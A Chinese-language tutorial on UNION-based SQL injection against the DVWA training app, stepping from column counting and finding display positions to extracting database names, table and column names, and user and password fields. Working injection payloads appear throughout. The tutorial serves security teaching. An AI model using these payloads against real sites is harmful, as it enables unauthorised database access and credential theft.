温馨提示:需要先学完SQL注入基础01
一.流程步骤说明
- 第一步:判断注入类型
- 第二步:判断表中列数(字段数)
- 第三步:确定显示位
- 第四步:获取数据库
顺序:数据库名和版本-数据库表名-某个表中的字段名-获取字段中的记录
二.实践过程
1.判断注入类型
--SQL注入基础01
- 已判断是字符型SQL注入
2.判断表中列数
关键:不断测试列数,观察报错信息
S1 利用--+、#、%23来注释掉最后的SQL语句闭合方式'
说明:在URL编码中,%23代表的含义就是#,而#则是MySql的注释符号。+经过编码后则是空格,而--是MySql中的注释,且语法格式规定了--后必须跟上控制符(如:空格符、回车符、换行符等等)
命令:1'order by 10%23等效为向MySql传递1'order by 10#
结果如下,报错说明小于10列
S2 继续测试
报错说明小于5列
依次测试4,3...
2未报错,说明最大只有2列,即该表中只有2个字段数
3.确定显示位
必备知识1:union联合查询
UNION 操作符用于合并两个或多个 SELECT 语句的结果集,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,并且UNION 内部的 SELECT 语句必须拥有相同数量的列。
必备知识2:union联合查询注入
利用union操作符,将攻击者希望查询的语句注入到正常select语句之后,并返回输出结果。
必备知识3:select 1,2,3的特点
①结构:select +n个数字(每个数字之间用逗号隔开)
②结果特点:会返回一个2行n列的一个表,再划分一下,就是第一行会显示select后面的列名,也就是n个数字,第2行也是n个数字,改变一下命令的形式就可以知道区别了
③结论:1行n列+1行(无from)和1行n列+n行(n的值为from后面的表的行数)
命令改变为:select +n个数字(每个数字用逗号隔开)+from 某个表
实践出真知:首先看看该users表:8列(8个字段)5行
输入以下命令:
select +1,2,3,..n(这里n取3,表示select后有3个数字:n只代表数字的个数,而非数字的大小) from users;
由此可知:该表的行数与users表的行数一样,均为5,只是显示了3列
- 已知列数/字段数为2
S1 输入正确id显示结果
攻击者输入内容为:id=1' union select 1,2 %23
上帝视角(后台数据库root):等价为
SELECT first_name,last_name FROM users WHERE user_id='1' union select 1,2 #'
单引号会被井号注释
攻击者视角:
S2 输入错误id结合联合查询显示结果以获得显示位
由S1可知,正常情况下只有第一条红色的内容显示,如何在仅显示一条信息的情况下,如何显示第二条蓝色信息呢?
假设只有两行,第一条后端会显示信息,那么说明后端只会提示显示一条信息,只需要联合查询让第一条结果为空即可
攻击者输入内容为:id=-1' union select ,1,2 %23
上帝视角(后台数据库root):等价为
SELECT first_name,last_name FROM users WHERE user_id='-1' union select 1,2 #'
攻击者视角:
只显示了第二条蓝色的数据,第一条红色数据结果为False导致不显示
此时的1,2的位置即为显示位
显示位:在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位
S3 将显示位替换获得数据库名称和版本
位置1替换为database()
DATABASE() 函数返回当前数据库的名称。 如果当前没有数据库,该函数返回 NULL 或 ""。
位置2替换为version()
VERSION() 函数以字符串形式返回 MySQL 数据库的当前版本。
攻击者视角:
S4 将显示位替换获得数据库表名
必备知识:information_schema数据库
MySQL5.0以上,Mysql自带了 information_schema 这个数据库,5.0以下是没有的。在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
- 已知:数据库名为dvwa
攻击者视角:
输入:
id=-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'%23
如何合并多行为一行数据呢?
方法:利用group_concat()函数
语法:GROUP_CONCAT([DISTINCT] expr [,expr …] [ORDER BY {unsigned_integer | col_name | expr} [ASC | DESC] [,col_name …]] [SEPARATOR str_val])
参数解释:
DISTINCT: 可选参数,用于指定是否对结果进行去重。
expr: 要连接的列或表达式。
ORDER BY: 可选参数,用于指定连接结果的排序方式。
ASC | DESC: 可选参数,用于指定排序的升序或降序。
SEPARATOR: 可选参数,用于指定连接结果中列之间的分隔符。
攻击者输入:(我这里用'|'分隔,默认是用',')
id=-1' union select 1,group_concat(table_name separator '|') from information_schema.tables where table_schema='dvwa'%23
等效优化:
将group_concat改写成一个完整的SQL语句:
id=-1' union select 1,(select group_concat(table_name separator '|') from information_schema.tables where table_schema='dvwa') %23
S5 获取数据库列名
- 已经获取数据库表名guestbook和users
攻击者视角:
根据数据库表名获取列名
id=-1' union select 1,(select group_concat(column_name separator '|') from information_schema.columns where table_name='users') %23
S6 获取字段中的记录
- 已经获取数据库列名user,password
id=-1' union select 1,group_concat(user,password separator '|') from users %23